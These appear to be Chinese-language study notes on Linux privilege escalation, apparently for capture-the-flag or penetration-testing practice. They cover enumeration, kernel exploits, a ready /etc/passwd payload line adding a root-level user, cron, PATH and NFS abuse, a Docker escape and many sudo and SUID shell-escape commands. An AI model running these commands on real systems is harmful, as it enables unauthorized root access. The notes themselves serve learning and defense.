-- 基础 --
线索
history 查看历史使用的指令
id 显示用户的id,以及所属群组的id
pwd 显示当权路径
whoami 显示当前用户
sudo -l 查看所用用户可用sudo执行的指令
uname -a 查看内核版本
cat /etc/issue
cat /etc/*-release 查看发行版
cat /etc/fstab 查看磁盘格式
dpkg -l
rpm -qa 查看已经安装的程序
cat /etc/passwd
cat /etc/shadow
netstat -antup 查看各种网络服务
文件上传
增加shell的交互性
python -c "import pty;pty.spawn('/bin/bash')"
切换用户
- 有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入
python -c "import pty;pty.spawn('/bin/bash')"
就用python简历了一个虚拟终端,然后就可以使用sudo等等命令了
提权指令
- 给
/bin/sh
SUID权限: chmod u+s /bin/sh
- 反弹shell:
工具
- [[curl]]: 发送特定请求, 并接收响应
- [[ssh]]: 用于安全远程管理和文件传输的网络协议, 提供了一种安全的方式来连接到远程计算机,允许用户执行命令、管理网络服务和传输文件
-
概念
- 水平越权: 指相同权限下不同的用户可以互相访问
- 垂直越权: 指使用权限低的用户可以访问到权限较高的用户
-- 提权 --
内核漏洞提权
- 查看版本:
uname -a
- 搜索exp:
searchsploit linux x.xx.x
- 上传exp后执行(部分exp要编译)
/etc/passwd修改提权
- 前提:
/etc/passwd
有写入权限
- 利用: 写入新用户 修改root用户密码 或 将当前使用用户写成root权限
- payload:
syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
- 后续: 切换用户(写入新用户 修改root用户密码) 重新获取shell(将当前使用用户写成root权限)
/etc/shadow读取提权
- 前提:
/etc/shadow
可读
- 利用: 得到root用户密码的哈希值, 用[[hashcat]]或[[john]]爆破
root密码复用提权
- 原理: 很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码
- 利用: 查看web后台密码 数据库密码
定时任务文件提权
- 原理: 在
/etc/cronXXX
文件夹中储存定时任务文件, 这些文件每过一定时间就会以root权限执行
- 前提: 当
ls -l /etc/cron*
发现了有权写入的定时文件
- 利用: 将提权指令写入定时任务中
crontab文件介绍: 查看定期执行任务的计划任务文件,它允许系统管理员和用户设置定期执行的命令或脚本
SHELL=指定执行命令的 shell,默认是/bin/sh
PATH=指定命令的搜索路径,包含了一系列目录, 不同目录之间用:分隔
MAILTO=如果任务的输出结果有内容,将结果发送到指定的邮箱。如果留空,则不发送
HOME: 默认的用户主目录
分 时 日 月 星期 用户 任务(要执行的具体命令或脚本)
. . . . . . . . 内容 . . . . . . . . .
时间为任务执行的时间,*表示"每个"值,用,分隔多个值,用-表示范围,用/指定步长(*/10表示每10个单位)
sudo提权
- 原理: 使用sudo指令可以只使用当前用户就使用root权限
- 查看: 使用
sudo -l
查看当前用户使用sudo支持运行的指令
- 限制绕过: 服务器可能限制sudo运行敏感的指令
- 使用
sudo su
, sudo /bin/bash
, sudo /bin/sh
等直接获得root权限
- 使用
sudo vi /etc/sudoers
或其它编辑器, 将支持运行的指令改为ALL=(ALL:ALL) ALL
- 使用
sudo git -p help
后再输入!/bin/bash
等指令
- 使用
sudo find / -exec bash \;
- 使用
sudo perl -e 'exec bash'
或sudo perl -e 'exec "/bin/bash";'
- 使用
sudo python3 -c 'import pty;pty.spawn("/bin/bash")'
- 使用
sudo less 随便一个文件
后再输入!bash
- 使用
sudo awk 'BEGIN {system("/bin/bash")}'
- 使用
sudo man man
后输入!bash
- 使用
sudo vi/vim
进入编辑界面后 !bash
- 如果sudoers定义了可以执行某个脚本,则我们可以把返回shell的代码添加进去, 例如桌面有个运维需要的aaa.sh文件,我们添加一段打开bash的代码,然后sudo运行即可
- 使用
sudo env /bin/bash
- 使用
sudo ftp
后输入!bash
- 使用
sudo 反弹shell指令
, 然后进行root权限反弹shell
- 使用
sudo cp
将被限制的指令复制到其它路径,之后就可以运行(前提是在ALL基础上设置限制)
- 其它指令
环境变量劫持提权
- 原理: 执行指令时, 会在环境变量指定目录中依次检索, 越前的目录检索优先级更高, 所以可劫持指令
- 前提: 系统以root权限执行某指令 (配合 SUID文件 or 定时任务 or 管理员执行指令/脚本)
若已知在<目录>下执行ps指令
export PATH=/<目录>:$PATH
echo "/bin/sh" > /<目录>/ps
cp /bin/sh /<目录>/ps
ln -s /bin/sh /<目录>/ps
chmod 777 /<目录>/ps
NFS提权
- 简介: NFS是一种分布式文件系统协议,NFS允许系统通过网络与其他人共享目录和文件
- 前提: NFS参数设置为
no_root_squash
, 且分享目录的是 root root_sqaush
参数阻止对连接到NFS卷的远程root用户具有root访问权限, no_root_squash
则不阻止
- 利用: 目标机: 查看
/etc/exports
文件, 找到配置为no_root_squash
共享目录 攻击机: sudo mount <目标ip>:<共享目录> <本地挂载目录>
, 然后在本地挂载目录中写入SUID文件提权
Docker提权
- 原理: docker创建的容器内默认为root用户, 而docker可以将文件夹挂载卷到主机上, 所以可以利用提权
- 前提: 用户有权执行docker指令 (当用户在docker用户组时, 即可无需root使用docker)
- 利用:
docker run -v /:/hostOS -it chrisfosterelli/rootplease
SUID可执行文件提权
- SUID介绍: SUID是一种文件执行权限, 出现在文件拥有者权限的执行位上(s) 具有这种权限的文件在其执行时,会使调用者暂时获得该文件拥有者的权限 其目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作 但同时我们也可以在执行时将权限提升为root
- SUID原理: SUID提权的原理与Linux进程的UID有关,进程在运行的时候有以下三个UID Real UID: 执行该进程的用户的UID (Real UID只用于标识用户, 不用于权限检查) Effective UID(EUID):进程执行时生效的UID, 在对访问目标进行操作时,系统会检查EUID是否有权限(一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID) Saved UID:在高权限用户降权后,保留的UID
- 搜索SUID:
以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
(可用which find
查看是否有find指令, 用ls -l xxx
查看find权限)
- SUID文件利用:
- (若可执行文件非二进制且可写入)则将注入代码写入脚本, 后执行
- (若找到相关的知名指令)使用相关整理好的指令
- (若文件执行了linux命令并可知是什么)将命令通过软链接劫持 劫持: 创建软链接
ln -s /bin/sh linux命令
并添加到环境变量最前面export PATH=.:$PATH
在环境变量的路径越靠前,执行命令时寻找的目录的优先级就越高